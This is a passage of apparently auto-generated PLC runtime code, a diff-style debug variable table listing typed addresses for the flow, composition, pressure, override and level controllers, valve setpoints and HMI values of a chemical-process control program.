+{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, 